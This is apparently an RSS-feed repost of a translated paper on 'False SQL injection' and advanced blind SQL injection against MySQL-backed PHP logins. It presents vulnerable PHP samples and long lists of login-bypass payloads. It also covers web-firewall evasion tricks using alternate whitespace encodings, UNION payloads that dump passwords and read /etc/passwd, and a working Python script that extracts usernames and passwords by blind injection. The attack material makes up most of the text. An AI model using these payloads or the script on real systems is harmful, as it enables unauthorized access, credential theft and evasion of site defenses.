&quot;&lt;/html&gt;&quot;;<br/>&#125;<br/><br/>else&#123;<br/>&nbsp;&nbsp;$id = $_GET&#91;&#039;id&#039;&#93;;<br/>&nbsp;&nbsp;$password = $_GET&#91;&#039;password&#039;&#93;;<br/><br/>&nbsp;&nbsp;$dbhost = &#039;localhost&#039;;<br/>&nbsp;&nbsp;$dbuser = &#039;root&#039;;<br/>&nbsp;&nbsp;$dbpass = &#039;pass&#039;;<br/>&nbsp;&nbsp;$database = &#039;injection_db&#039;;<br/><br/>&nbsp;&nbsp;$db = mysql_connect($dbhost, $dbuser, $dbpass);<br/>&nbsp;&nbsp;mysql_select_db($database,$db);<br/>&nbsp;&nbsp;$sql = mysql_query(&quot;select * from users where id=&#039;$id&#039; and password=&#039;$password&#039;&quot;) or die (mysql_error());<br/><br/>&nbsp;&nbsp;$row = mysql_fetch_array($sql);<br/><br/>&nbsp;&nbsp;if($row&#91;id&#93; &amp;&amp; $row&#91;password&#93;)&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;echo &quot;&lt;font color=#FF0000&gt;&lt;h1&gt;&quot;.&quot;Login sucess&quot;.&quot;&lt;/h1&gt;&lt;/u&gt;&lt;br&gt;&quot;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;echo &quot;&lt;h3&gt;&lt;font color=#000000&gt;&quot;.&quot;Hello, &quot;.&quot;&lt;/u&gt;&quot;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;echo &quot;&lt;font color=#D2691E&gt;&quot;.$row&#91;id&#93;.&quot;&lt;/u&gt;&lt;/h3&gt;&lt;br&gt;&quot;;<br/>&nbsp;&nbsp;&#125;<br/>&nbsp;&nbsp;else&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;echo &quot;&lt;script&gt;alert(&#039;Login failed&#039;);&lt;/script&gt;&quot;;<br/>&nbsp;&nbsp;&#125;<br/>&nbsp;&nbsp;mysql_close($db);<br/>&#125;<br/><br/>?&gt;<br/></div><br/><br/>First, basic SQL Injection is as follow.<br/>首先。基础的SQL注入如下：<br/>' or 1=1#<br/><br/>The code above is general SQL Injection Code, and this writer classified the code as "True SQL Injection". When you log on to some site, in internal of web program, your id and password are identified by some statement used "select id, password from table where id='' and password='', you can easily understand when you think 0 about character single quotation mark. Empty space is same as 0, the attack is possible using = and 0. As a result, following statement enables log on process.<br/><br/>'=0#<br/><br/>We can apply it in a different way.<br/><br/>This is possible as 0>-1<br/>'>-1#<br/><br/><br/>Also, this is possible as 0<1<br/>'<1#<br/><br/>You don't have to use only single figures. You can use two figures attack as follow.<br/>1'<99#<br/><br/>Comparison operation 0=1 will be 0, the following operation result is true because of id=''=0(0=1).<br/><br/>'=0=1#<br/><br/><br/>Additionally there is some possible comparison operation making the same value each other.<br/><br/>'<=>0#<br/><br/>Like this, if you use the comparison operation, you can attack as additional manner.<br/><br/>'=0=1=1=1=1=1#<br/>'=1<>1#<br/>'<>1#<br/>1'<>99999#<br/>'!=2!=3!=4#<br/><br/><br/><br/>In this time, you get the turn on understanding False SQL injection. the following is not attack but operation for MySQL.<br/><br/>mysql> select * from users;<br/>+-----+-----------+----------+<br/>&#124; num &#124; id&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#124; password &#124;<br/>+-----+-----------+----------+<br/>&#124;&nbsp;&nbsp; 1 &#124; admin&nbsp;&nbsp;&nbsp;&nbsp; &#124; ad1234&nbsp;&nbsp; &#124;<br/>&#124;&nbsp;&nbsp; 2 &#124; wh1ant&nbsp;&nbsp;&nbsp;&nbsp;&#124; wh1234&nbsp;&nbsp; &#124;<br/>&#124;&nbsp;&nbsp; 3 &#124; secuholic &#124; se1234&nbsp;&nbsp; &#124;<br/>+-----+-----------+----------+<br/>3 rows in set (0.01 sec)<br/><br/>This shows the contents in any table without any problem.<br/>The following is the content when you don't input any value in the id<br/><br/>mysql> select * from users where id='';<br/>Empty set (0.00 sec)<br/><br/>Of course there is not result because id field dosen't have any string.<br/>In the truth, I have seen the case that in the MySQL if string field has a 0, the result is true. Based on the truth, following statement is true.<br/><br/>mysql> select * from users where id=0;<br/>+-----+-----------+----------+<br/>&#124; num &#124; id&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#124; password &#124;<br/>+-----+-----------+----------+<br/>&#124;&nbsp;&nbsp; 1 &#124; admin&nbsp;&nbsp;&nbsp;&nbsp; &#124; ad1234&nbsp;&nbsp; &#124;<br/>&#124;&nbsp;&nbsp; 2 &#124; wh1ant&nbsp;&nbsp;&nbsp;&nbsp;&#124; wh1234&nbsp;&nbsp; &#124;<br/>&#124;&nbsp;&nbsp; 3 &#124; secuholic &#124; se1234&nbsp;&nbsp; &#124;<br/>+-----+-----------+----------+<br/>3 rows in set (0.00 sec)<br/><br/>If you input 0 in id, All the content is showed. This is the basic about "False SQL Injection". After all, result of 0 makes log on process success. For making the result 0, you need something processing integer, in that time you can use bitwise&nbsp;&nbsp;operations and arithmetic operations.<br/><br/>Once I'll show bitwise operation example.<br/><br/><br/>Or bitwise operation is well known for any programmer. And as I told you before, '' is 0, if you operate "0 bitwise OR 0", the result is 0. So the following operation succeed log on as the False SQL Injection.<br/>'&#124;0#<br/><br/>Naturally, you can use AND operation.<br/>'&0#<br/><br/>This is the attack using XOR<br/>'^0#<br/><br/>Also using shift operation is enable.<br/>'<<0#<br/>'>>0#<br/><br/>If you apply like those bitwise operations, you can use variable attack methods.<br/>'&''#<br/>'%11&1#<br/>'&1&1#<br/>'&#124;0&1#<br/>'<<0&#124;0#<br/>'<<0>>0#<br/><br/>In this time, I will show "False SQL Injection" using arithmetic operations.<br/>If the result is 0 using arithmetic operation with '', attack will be success. The following is the example using arithmetic operation.<br/><br/>'*9#<br/>Multiplication<br/><br/>'/9#<br/>Division.<br/><br/>'%9#<br/>Mod<br/><br/>'+0#<br/>Addition<br/><br/>'-0#<br/>Subtraction<br/><br/>Significant point is that the result has to be under one. Also you can attack as follow.<br/>'+2+5-7#<br/>'+0+0-0#<br/>'-0-0-0-0-0#<br/>'*9*8*7*6*5#<br/>'/2/3/4#<br/>'%12%34%56%78#<br/>'/**/+/**/0#<br/>'-----0#<br/>'+++0+++++0*0#<br/><br/><br/><br/>Next attack is it using fucntion. In this document, I can't show all the functions. Because this attack is not difficult, you can use the "True, False SQL Injection" attack with function as much as you want. And whether this attack is "True SQL Injection" or "False SQL Injection" is decided on the last operation after return of function.<br/>'<hex(1)#<br/>'=left(0x30,1)#<br/>'=right(0,1)#<br/>'!=curdate()#<br/>'-reverse(0)#<br/>'=ltrim(0)#<br/>'<abs(1)#<br/>'*round(1,1)#<br/>'&left(0,0)#<br/>'*round(0,1)*round(0,1)#<br/><br/><br/>Also, you can use attack using space in function name. But you are able to use the space with only some function.<br/>'=upper&nbsp;&nbsp;&nbsp;&nbsp; (0)#<br/><br/>In this time, SQL keyword is method. This method is also decided as True or False Injection according to case.<br/>' <1 and 1#<br/>'xor 1#<br/>'div 1#<br/>'is not null#<br/>admin' order by'<br/>admin' group by'<br/>'like 0#<br/>'between 1 and 1#<br/>'regexp 1#<br/><br/>Inputting id or password in the field without annotaion is possible about True, False SQL Injection. Normal Web Firewalls filter #, --, /**/, so the method is more effective in the Web Firewalls.<br/>ID&nbsp;&nbsp;: '='<br/>PASS: '='<br/><br/>ID&nbsp;&nbsp;: '<>'1<br/>PASS: '<>'1<br/><br/>ID&nbsp;&nbsp;: '>1='<br/>PASS: '>1='<br/><br/>ID&nbsp;&nbsp;: 0'='0<br/>PASS: 0'='0<br/><br/>ID&nbsp;&nbsp;: '<1 and 1>'<br/>PASS: '<1 and 1>'<br/><br/>ID&nbsp;&nbsp;: '<>ifnull(1,2)='1<br/>PASS: '<>ifnull(1,2)='1<br/><br/>ID&nbsp;&nbsp;: '=round(0,1)='1<br/>PASS: '=round(0,1)='1<br/><br/>ID&nbsp;&nbsp;: '*0*'<br/>PASS: '*0*'<br/><br/>ID&nbsp;&nbsp;: '+'<br/>PASS: '+'<br/><br/>ID&nbsp;&nbsp;: '-'<br/>PASS: '-'<br/><br/>ID&nbsp;&nbsp;:'+1-1-'<br/>PASS:'+1-1-'<br/><br/><br/>All attacks used in the documentation will be more effective with using bracket when detouring web firewall.<br/>'+(0-0)#<br/>'=0<>((reverse(1))-(reverse(1)))#<br/>'<(8*7)*(6*5)*(4*3)#<br/>'&(1+1)-2#<br/>'>(0-100)#<br/><br/><br/><br/>Let's see normal SQL Injection attack.<br/>' or 1=1#<br/><br/>If this is translated in hexdemical, the result is as follow.<br/>http://127.0.0.1/login.php?id=%27%20%6f%72%20%31%3d%31%23&password=1234<br/><br/><br/>Like attack above is basically filtered. So that's not good attack, I will try detour filtering using tab(%09) standing in for space(%20). In truth, you can use %a0 on behalf of %09.<br/><br/>The possible values are as follow.<br/>%09<br/>%0a<br/>%0b<br/>%0c<br/>%0d<br/>%a0<br/>%23%0a<br/>%23%48%65%6c%6c%6f%20%77%6f%6c%72%64%0a<br/><br/>The following is the example using %a0 instead of %20.<br/>http://127.0.0.1/login.php?id=%27%a0%6f%72%a0%31%3d%31%23&password=1234<br/><br/><br/><br/>In this time, I will show "Blind SQL injection" attack, this attack can't detour web firewall filtering, but some attacker tend to think that Blind SQL Injection attack is impossible to log on page. So I decided showing this subject.<br/><br/>The following attack code can be used on log on page. And the page will show id and password.<br/>'union select 1,group_concat(password),3 from users#<br/><br/>This attack code brings /etc/password information.<br/>'union select 1,load_file(0x2f6574632f706173737764),3 from users#<br/><br/>Dare I say it without union select statement using Blind SQL injection with and operation is possible.<br/><br/>The result of record are three.<br/>admin' and (select count(*) from users)=3#<br/><br/><br/><br/>Let's attack detouring web firewall using Blind SQL Injection. The following is vulnerable code to Blind SQL Injection.<br/><div class="code"><br/>&lt;?php<br/><br/>&nbsp;&nbsp;/*** info.php ***/<br/><br/>&nbsp;&nbsp;$n = $_GET&#91;&#039;num&#039;&#93;;<br/>&nbsp;&nbsp;if(empty($n))&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;$n = 1;<br/>&nbsp;&nbsp;&#125;<br/><br/>&nbsp;&nbsp;$dbhost = &#039;localhost&#039;;<br/>&nbsp;&nbsp;$dbuser = &#039;root&#039;;<br/>&nbsp;&nbsp;$dbpass = &#039;root&#039;;<br/>&nbsp;&nbsp;$database = &#039;injection_db&#039;;<br/><br/>&nbsp;&nbsp;$db = mysql_connect($host, $dbuser, $dbpass);<br/>&nbsp;&nbsp;mysql_select_db($database,$db);<br/>&nbsp;&nbsp;$sql = mysql_query(&quot;select * from `users` where num=&quot;.$n) or die (mysql_error());<br/>&nbsp;&nbsp;$info = @mysql_fetch_row($sql);<br/>&nbsp;&nbsp;echo &quot;&lt;body&nbsp;&nbsp;&nbsp;&nbsp;bgcolor=#000000&gt;&quot;;<br/>&nbsp;&nbsp;echo &quot;&lt;h1&gt;&lt;font color=#FFFFFF&gt;wh1ant&lt;/font&gt;&quot;;<br/>&nbsp;&nbsp;echo &quot;&lt;font color=#2BF70E&gt; site for blind SQL injection test&lt;/h1&gt;&lt;br&gt;&quot;;<br/>&nbsp;&nbsp;echo &quot;&lt;h1&gt;&lt;font color=#2BF70E&gt;num: &lt;/font&gt;&lt;font color=#D2691E&gt;&quot;.$info&#91;0&#93;.&quot;&lt;/font&gt;&lt;/h1&gt;&quot;;<br/>&nbsp;&nbsp;echo &quot;&lt;h1&gt;&lt;font color=#2BF70E&gt;user: &lt;/font&gt;&lt;font color=#D2691E&gt;&quot;.$info&#91;1&#93;.&quot;&lt;/font&gt;&quot;;<br/>&nbsp;&nbsp;echo &quot;&lt;body&nbsp;&nbsp; &gt;&quot;;<br/>&nbsp;&nbsp;mysql_close($db);<br/><br/>?&gt;<br/></div><br/><br/>Basic Blind SQL Injection is as follow on like above.<br/><br/>http://127.0.0.1/info.php?num=1 and 1=0<br/>http://127.0.0.1/info.php?num=1 and 1=1<br/><br/>But using = operation is possible for Blind SQL Injection.<br/><br/>http://192.168.137.129/info.php?num=1=0<br/>http://192.168.137.129/info.php?num=1=1<br/><br/>Also other operation is possible naturally.<br/><br/>http://127.0.0.1/info.php?num=1<>0<br/>http://127.0.0.1/info.php?num=1<>1<br/><br/>http://127.0.0.1/info.php?num=1<0<br/>http://127.0.0.1/info.php?num=1<1<br/><br/>http://127.0.0.1/info.php?num=1*0*0*1<br/>http://127.0.0.1/info.php?num=1*0*0*0<br/><br/>http://127.0.0.1/info.php?num=1%1%1%0<br/>http://127.0.0.1/info.php?num=1%1%1%1<br/><br/>http://127.0.0.1/info.php?num=1 div 0<br/>http://127.0.0.1/info.php?num=1 div 1<br/><br/>http://127.0.0.1/info.php?num=1 regexp 0<br/>http://127.0.0.1/info.php?num=1 regexp 1<br/><br/>http://127.0.0.1/info.php?num=1^0<br/>http://127.0.0.1/info.php?num=1^1<br/><br/>Attack example:<br/>http://127.0.0.1/info.php?num=0^(locate(0x61,(select id from users where num=1),1)=1)<br/>http://127.0.0.1/info.php?num=0^(select position(0x61 in (select id from users where num=1))=1)<br/>http://127.0.0.1/info.php?num=0^(reverse(reverse((select id from users where num=1)))=0x61646d696e)<br/>http://127.0.0.1/info.php?num=0^(lcase((select id from users where num=1))=0x61646d696e)<br/>http://127.0.0.1/info.php?num=0^((select id from users where num=1)=0x61646d696e)<br/>http://127.0.0.1/info.php?num=0^(id regexp 0x61646d696e)<br/>http://127.0.0.1/info.php?num=0^(id=0x61646d696e)<br/>http://127.0.0.1/info.php?num=0^((select octet_length(id) from users where num=1)=5)<br/>http://127.0.0.1/info.php?num=0^((select character_length(id) from users where num=1)=5)<br/><br/>If I will show all attack, I have to take much time, So I stopped in this time. Blind SQL Injection is difficult manually, So using tool will be more effective. I will show a tool made python, this is an example using ^(XOR) bitwise operation. In order to make the most of detouring the web firewall, I replaced space with %0a.<br/><div class="code"><br/>#!/usr/bin/python<br/><br/>### blind.py ###<br/><br/>import urllib<br/>import sys<br/>import os<br/><br/><br/><br/>def put_data(true_url, true_result, field, index, length):<br/>&nbsp;&nbsp;for i in range(1, length+1):<br/>&nbsp;&nbsp;&nbsp;&nbsp;for j in range(32, 127):<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;attack_url = true_url + &quot;^(%%a0locate%%a0%%a0(0x%x,(%%a0select%%a0%s%%a0%%a0from%%a0%%a0users%%a0where%%a0num=%d),%d)=%d)&quot; % (j,field,index,i,i)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;attack_open = urllib.urlopen(attack_url)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;attack_result = attack_open.read()<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;attack_open.close()<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if attack_result==true_result:<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ch = &quot;%c&quot; % j<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sys.stdout.write(ch)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break<br/>&nbsp;&nbsp;print &quot;&#92;t&#92;t&quot;,<br/><br/>def get_length(false_url, false_result, field, index):<br/>&nbsp;&nbsp;i=0<br/>&nbsp;&nbsp;while 1:<br/>&nbsp;&nbsp;&nbsp;&nbsp;data_length_url = false_url + &quot;^(%%a0(select%%a0octet_length%%a0%%a0(%s)%%a0from%%a0users%%a0where%%a0num%%a0=%%a0%d)%%a0=%%a0%d)&quot; % (field,index,i)<br/>&nbsp;&nbsp;&nbsp;&nbsp;data_length_open = urllib.urlopen(data_length_url)<br/>&nbsp;&nbsp;&nbsp;&nbsp;data_length_result = data_length_open.read()<br/>&nbsp;&nbsp;&nbsp;&nbsp;data_length_open.close()<br/>&nbsp;&nbsp;&nbsp;&nbsp;if data_length_result==false_result:<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return i<br/>&nbsp;&nbsp;&nbsp;&nbsp;i+=1<br/><br/>url = &quot;http://127.0.0.1/info.php&quot;<br/><br/>true_url = url + &quot;?num=1&quot;<br/>true_open = urllib.urlopen(true_url)<br/>true_result = true_open.read()<br/>true_open.close()<br/>&nbsp;&nbsp;<br/>false_url = url + &quot;?num=0&quot;<br/>false_open = urllib.urlopen(false_url)<br/>false_result = false_open.read()<br/>false_open.close()<br/><br/><br/>print &quot;num&#92;t&#92;tid&#92;t&#92;tpassword&quot;<br/>fields = &quot;num&quot;, &quot;id&quot;, &quot;password&quot;<br/><br/>for i in range(1, 4):<br/>&nbsp;&nbsp;for j in range(0, 3):<br/>&nbsp;&nbsp;&nbsp;&nbsp;length = get_length(false_url, false_result, fields&#91;j&#93;, i)<br/>&nbsp;&nbsp;&nbsp;&nbsp;length = put_data(false_url, true_result, fields&#91;j&#93;, i, length)<br/>&nbsp;&nbsp;print &quot;&quot;<br/></div><br/>To its regret, the attack test is stopped for no time, if anyone not this writer studies some attack codes additionally, it will be easy for him to develop the attack.<br/><br/># Korean document: http://wh1ant.kr/archives/[Hangul]%20False%20SQL%20injection%20and%20Advanced%20blind%20SQL%20injection.txt<br/><br/>[EOF]<br/>Tags - <a href="http://www.yesck.com/tags/sql/" rel="tag">sql</a> , <a href="http://www.yesck.com/tags/injection/" rel="tag">injection</a> , <a href="http://www.yesck.com/tags/mysql%25E7%259B%25B2%25E6%25B3%25A8/" rel="tag">mysql盲注</a> , <a href="http://www.yesck.com/tags/%25E5%2585%2588%25E8%25BF%259B%25E7%259A%2584%25E7%259B%25B2%25E6%25B3%25A8/" rel="tag">先进的盲注</a> , <a href="http://www.yesck.com/tags/sql%25E6%25B3%25A8%25E5%2585%25A5/" rel="tag">sql注入</a> , <a href="http://www.yesck.com/tags/%25E7%25BF%25BB%25E8%25AF%2591/" rel="tag">翻译</a> , <a href="http://www.yesck.com/tags/exploit%25E4%25B8%25AD%25E6%2596%2587/" rel="tag">exploit中文</a>
]]>
</description>
</item>
</channel>
</rss>
